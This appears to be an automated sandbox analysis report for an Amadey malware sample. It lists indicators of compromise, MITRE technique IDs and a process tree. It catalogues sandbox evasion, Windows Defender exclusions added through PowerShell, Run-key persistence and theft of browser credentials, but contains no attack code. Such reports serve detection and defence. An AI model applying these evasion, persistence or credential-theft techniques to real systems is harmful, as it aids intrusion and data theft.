amadey | 9eddc13417679ef715743574858a0010f1017eef771b24756e99e2ea0ce8b893

Virtualization/Sandbox Evasion

Processes:

aabe095923.exeb6e90f7d07.exe1u88t3.exeskotes.exe8cc247243e.exe23ee2d6bcc.exeskotes.exeskotes.exe2S9414.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	aabe095923.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	b6e90f7d07.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1u88t3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	8cc247243e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	23ee2d6bcc.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2S9414.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
4772	powershell.exe
6112	powershell.exe
3056	powershell.exe
2296	powershell.exe
212	powershell.exe
6612	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 16 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

aabe095923.exe8cc247243e.exe1u88t3.exeskotes.exeb6e90f7d07.exe23ee2d6bcc.exeskotes.exe2S9414.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	aabe095923.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8cc247243e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1u88t3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b6e90f7d07.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	23ee2d6bcc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1u88t3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b6e90f7d07.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8cc247243e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2S9414.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	aabe095923.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	23ee2d6bcc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2S9414.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

skotes.exe4aDoFRV.exe1u88t3.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	4aDoFRV.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	1u88t3.exe

Executes dropped EXE 12 IoCs

Processes:

1u88t3.exeskotes.exe2S9414.exeskotes.exeIs4UWe7.exe4aDoFRV.exeaabe095923.exeb6e90f7d07.exefff4f46f92.exe8cc247243e.exe23ee2d6bcc.exeskotes.exe

pid	Process
1164	1u88t3.exe
4488	skotes.exe
3840	2S9414.exe
1704	skotes.exe
1900	Is4UWe7.exe
4452	4aDoFRV.exe
2544	aabe095923.exe
2320	b6e90f7d07.exe
5028	fff4f46f92.exe
1988	8cc247243e.exe
5820	23ee2d6bcc.exe
5956	skotes.exe

Identifies Wine through registry keys 2 TTPs 9 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

skotes.exeaabe095923.exeb6e90f7d07.exe23ee2d6bcc.exeskotes.exe1u88t3.exeskotes.exe2S9414.exe8cc247243e.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	aabe095923.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	b6e90f7d07.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	23ee2d6bcc.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	1u88t3.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	2S9414.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	8cc247243e.exe

Loads dropped DLL 1 IoCs

Processes:

4aDoFRV.exe

pid	Process
4452	4aDoFRV.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

9eddc13417679ef715743574858a0010f1017eef771b24756e99e2ea0ce8b893.exeskotes.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	9eddc13417679ef715743574858a0010f1017eef771b24756e99e2ea0ce8b893.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\aabe095923.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1011429001\\aabe095923.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\b6e90f7d07.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1011430001\\b6e90f7d07.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fff4f46f92.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1011431001\\fff4f46f92.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8cc247243e.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1011432001\\8cc247243e.exe"	skotes.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

Processes:

flow	ioc
61	raw.githubusercontent.com
62	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
65	ip-api.com

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
behavioral1/files/0x0008000000000733-295.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

Processes:

1u88t3.exeskotes.exe2S9414.exeskotes.exeaabe095923.exeb6e90f7d07.exe8cc247243e.exe23ee2d6bcc.exe

pid	Process
1164	1u88t3.exe
4488	skotes.exe
3840	2S9414.exe
1704	skotes.exe
2544	aabe095923.exe
2320	b6e90f7d07.exe
1988	8cc247243e.exe
5820	23ee2d6bcc.exe

Drops file in Windows directory 1 IoCs

Processes:

1u88t3.exe

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	1u88t3.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	Process	procid_target
4492	3840	WerFault.exe	85
1284	3840	WerFault.exe	85
3504	3840	WerFault.exe	85
4624	2544	WerFault.exe	124

System Location Discovery: System Language Discovery 1 TTPs 28 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exetaskkill.exe9eddc13417679ef715743574858a0010f1017eef771b24756e99e2ea0ce8b893.execmd.execmd.exepowershell.exe1u88t3.exepowershell.exepowershell.exetaskkill.exeb6e90f7d07.execmd.exe8cc247243e.exepowershell.exeaabe095923.exepowershell.exefff4f46f92.exetaskkill.exetaskkill.exetaskkill.exe2S9414.execmd.exepowershell.exeskotes.execmd.exe23ee2d6bcc.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9eddc13417679ef715743574858a0010f1017eef771b24756e99e2ea0ce8b893.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1u88t3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b6e90f7d07.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8cc247243e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aabe095923.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	fff4f46f92.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	fff4f46f92.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2S9414.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fff4f46f92.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	23ee2d6bcc.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

firefox.exefirefox.exe4aDoFRV.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	4aDoFRV.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	4aDoFRV.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe

Kills process with taskkill 5 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	Process
4500	taskkill.exe
1768	taskkill.exe
4840	taskkill.exe
3716	taskkill.exe
2320	taskkill.exe

Modifies registry class 1 IoCs

Processes:

firefox.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	firefox.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

1u88t3.exeskotes.exe2S9414.exeskotes.exeIs4UWe7.exe4aDoFRV.exepowershell.exepowershell.exeaabe095923.exepowershell.exeb6e90f7d07.exepowershell.exe

pid	Process
1164	1u88t3.exe
1164	1u88t3.exe
4488	skotes.exe
4488	skotes.exe
3840	2S9414.exe
3840	2S9414.exe
1704	skotes.exe
1704	skotes.exe
1900	Is4UWe7.exe
1900	Is4UWe7.exe
1900	Is4UWe7.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4452	4aDoFRV.exe
4404	powershell.exe
4404	powershell.exe
1900	Is4UWe7.exe
3056	powershell.exe
3056	powershell.exe
2544	aabe095923.exe
2544	aabe095923.exe
4772	powershell.exe
4772	powershell.exe
1900	Is4UWe7.exe
2320	b6e90f7d07.exe
2320	b6e90f7d07.exe
4404	powershell.exe
4404	powershell.exe
4404	powershell.exe
4404	powershell.exe
4404	powershell.exe
4404	powershell.exe
4404	powershell.exe
1964	powershell.exe
1964	powershell.exe
4404	powershell.exe
4404	powershell.exe
4404	powershell.exe
4404	powershell.exe
4404	powershell.exe
4404	powershell.exe
4404	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Is4UWe7.exe4aDoFRV.exepowershell.exepowershell.exepowershell.exepowershell.exetaskkill.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	1900	Is4UWe7.exe
Token: SeDebugPrivilege	4452	4aDoFRV.exe
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeDebugPrivilege	4772	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeIncreaseQuotaPrivilege	1964	powershell.exe
Token: SeSecurityPrivilege	1964	powershell.exe
Token: SeTakeOwnershipPrivilege	1964	powershell.exe
Token: SeLoadDriverPrivilege	1964	powershell.exe
Token: SeSystemProfilePrivilege	1964	powershell.exe
Token: SeSystemtimePrivilege	1964	powershell.exe
Token: SeProfSingleProcessPrivilege	1964	powershell.exe
Token: SeIncBasePriorityPrivilege	1964	powershell.exe
Token: SeCreatePagefilePrivilege	1964	powershell.exe
Token: SeBackupPrivilege	1964	powershell.exe
Token: SeRestorePrivilege	1964	powershell.exe
Token: SeShutdownPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeSystemEnvironmentPrivilege	1964	powershell.exe
Token: SeRemoteShutdownPrivilege	1964	powershell.exe
Token: SeUndockPrivilege	1964	powershell.exe
Token: SeManageVolumePrivilege	1964	powershell.exe
Token: 33	1964	powershell.exe
Token: 34	1964	powershell.exe
Token: 35	1964	powershell.exe
Token: 36	1964	powershell.exe
Token: SeDebugPrivilege	1768	taskkill.exe
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeIncreaseQuotaPrivilege	2296	powershell.exe
Token: SeSecurityPrivilege	2296	powershell.exe
Token: SeTakeOwnershipPrivilege	2296	powershell.exe
Token: SeLoadDriverPrivilege	2296	powershell.exe
Token: SeSystemProfilePrivilege	2296	powershell.exe
Token: SeSystemtimePrivilege	2296	powershell.exe
Token: SeProfSingleProcessPrivilege	2296	powershell.exe
Token: SeIncBasePriorityPrivilege	2296	powershell.exe
Token: SeCreatePagefilePrivilege	2296	powershell.exe
Token: SeBackupPrivilege	2296	powershell.exe
Token: SeRestorePrivilege	2296	powershell.exe
Token: SeShutdownPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeSystemEnvironmentPrivilege	2296	powershell.exe
Token: SeRemoteShutdownPrivilege	2296	powershell.exe
Token: SeUndockPrivilege	2296	powershell.exe
Token: SeManageVolumePrivilege	2296	powershell.exe
Token: 33	2296	powershell.exe
Token: 34	2296	powershell.exe
Token: 35	2296	powershell.exe
Token: 36	2296	powershell.exe
Token: SeIncreaseQuotaPrivilege	2296	powershell.exe
Token: SeSecurityPrivilege	2296	powershell.exe
Token: SeTakeOwnershipPrivilege	2296	powershell.exe
Token: SeLoadDriverPrivilege	2296	powershell.exe
Token: SeSystemProfilePrivilege	2296	powershell.exe
Token: SeSystemtimePrivilege	2296	powershell.exe
Token: SeProfSingleProcessPrivilege	2296	powershell.exe
Token: SeIncBasePriorityPrivilege	2296	powershell.exe
Token: SeCreatePagefilePrivilege	2296	powershell.exe
Token: SeBackupPrivilege	2296	powershell.exe
Token: SeRestorePrivilege	2296	powershell.exe
Token: SeShutdownPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeSystemEnvironmentPrivilege	2296	powershell.exe

Suspicious use of FindShellTrayWindow 33 IoCs

Processes:

1u88t3.exefff4f46f92.exefirefox.exe

pid	Process
1164	1u88t3.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
5028	fff4f46f92.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe

Suspicious use of SendNotifyMessage 31 IoCs

Processes:

fff4f46f92.exefirefox.exe

pid	Process
5028	fff4f46f92.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
5028	fff4f46f92.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
3408	firefox.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe
5028	fff4f46f92.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Is4UWe7.exefirefox.exe

pid	Process
1900	Is4UWe7.exe
3408	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

9eddc13417679ef715743574858a0010f1017eef771b24756e99e2ea0ce8b893.exe1u88t3.exeskotes.execmd.exe4aDoFRV.exepowershell.exe

description	pid	Process	procid_target
PID 976 wrote to memory of 1164	976	9eddc13417679ef715743574858a0010f1017eef771b24756e99e2ea0ce8b893.exe	83
PID 976 wrote to memory of 1164	976	9eddc13417679ef715743574858a0010f1017eef771b24756e99e2ea0ce8b893.exe	83
PID 976 wrote to memory of 1164	976	9eddc13417679ef715743574858a0010f1017eef771b24756e99e2ea0ce8b893.exe	83
PID 1164 wrote to memory of 4488	1164	1u88t3.exe	84
PID 1164 wrote to memory of 4488	1164	1u88t3.exe	84
PID 1164 wrote to memory of 4488	1164	1u88t3.exe	84
PID 976 wrote to memory of 3840	976	9eddc13417679ef715743574858a0010f1017eef771b24756e99e2ea0ce8b893.exe	85
PID 976 wrote to memory of 3840	976	9eddc13417679ef715743574858a0010f1017eef771b24756e99e2ea0ce8b893.exe	85
PID 976 wrote to memory of 3840	976	9eddc13417679ef715743574858a0010f1017eef771b24756e99e2ea0ce8b893.exe	85
PID 4488 wrote to memory of 1900	4488	skotes.exe	112
PID 4488 wrote to memory of 1900	4488	skotes.exe	112
PID 4488 wrote to memory of 4452	4488	skotes.exe	113
PID 4488 wrote to memory of 4452	4488	skotes.exe	113
PID 4488 wrote to memory of 2424	4488	skotes.exe	117
PID 4488 wrote to memory of 2424	4488	skotes.exe	117
PID 4488 wrote to memory of 2424	4488	skotes.exe	117
PID 2424 wrote to memory of 4328	2424	cmd.exe	119
PID 2424 wrote to memory of 4328	2424	cmd.exe	119
PID 2424 wrote to memory of 4328	2424	cmd.exe	119
PID 2424 wrote to memory of 4404	2424	cmd.exe	120
PID 2424 wrote to memory of 4404	2424	cmd.exe	120
PID 2424 wrote to memory of 4404	2424	cmd.exe	120
PID 4452 wrote to memory of 4260	4452	4aDoFRV.exe	121
PID 4452 wrote to memory of 4260	4452	4aDoFRV.exe	121
PID 4404 wrote to memory of 3056	4404	powershell.exe	123
PID 4404 wrote to memory of 3056	4404	powershell.exe	123
PID 4404 wrote to memory of 3056	4404	powershell.exe	123
PID 4488 wrote to memory of 2544	4488	skotes.exe	124
PID 4488 wrote to memory of 2544	4488	skotes.exe	124
PID 4488 wrote to memory of 2544	4488	skotes.exe	124
PID 4404 wrote to memory of 4772	4404	powershell.exe	126
PID 4404 wrote to memory of 4772	4404	powershell.exe	126
PID 4404 wrote to memory of 4772	4404	powershell.exe	126
PID 4488 wrote to memory of 2320	4488	skotes.exe	128
PID 4488 wrote to memory of 2320	4488	skotes.exe	128
PID 4488 wrote to memory of 2320	4488	skotes.exe	128
PID 4404 wrote to memory of 3508	4404	powershell.exe	56
PID 4404 wrote to memory of 784	4404	powershell.exe	8
PID 4404 wrote to memory of 3724	4404	powershell.exe	66
PID 4404 wrote to memory of 1752	4404	powershell.exe	30
PID 4404 wrote to memory of 1156	4404	powershell.exe	19
PID 4404 wrote to memory of 1548	4404	powershell.exe	27
PID 4404 wrote to memory of 1348	4404	powershell.exe	23
PID 4404 wrote to memory of 1148	4404	powershell.exe	18
PID 4404 wrote to memory of 5044	4404	powershell.exe	99
PID 4404 wrote to memory of 1536	4404	powershell.exe	26
PID 4404 wrote to memory of 1140	4404	powershell.exe	17
PID 4404 wrote to memory of 2912	4404	powershell.exe	52
PID 4404 wrote to memory of 2312	4404	powershell.exe	41
PID 4404 wrote to memory of 2900	4404	powershell.exe	51
PID 4404 wrote to memory of 1964	4404	powershell.exe	131
PID 4404 wrote to memory of 1964	4404	powershell.exe	131
PID 4404 wrote to memory of 1964	4404	powershell.exe	131
PID 4404 wrote to memory of 2892	4404	powershell.exe	50
PID 4404 wrote to memory of 1708	4404	powershell.exe	36
PID 4404 wrote to memory of 524	4404	powershell.exe	15
PID 4404 wrote to memory of 964	4404	powershell.exe	12
PID 4404 wrote to memory of 1504	4404	powershell.exe	25
PID 4404 wrote to memory of 1944	4404	powershell.exe	33
PID 4404 wrote to memory of 1696	4404	powershell.exe	29
PID 4404 wrote to memory of 4360	4404	powershell.exe	69
PID 4404 wrote to memory of 904	4404	powershell.exe	11
PID 4404 wrote to memory of 1296	4404	powershell.exe	22
PID 4404 wrote to memory of 2664	4404	powershell.exe	45

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1156
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  PID:1704
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Executes dropped EXE
  - Identifies Wine through registry keys
  PID:5956

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1536

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1752

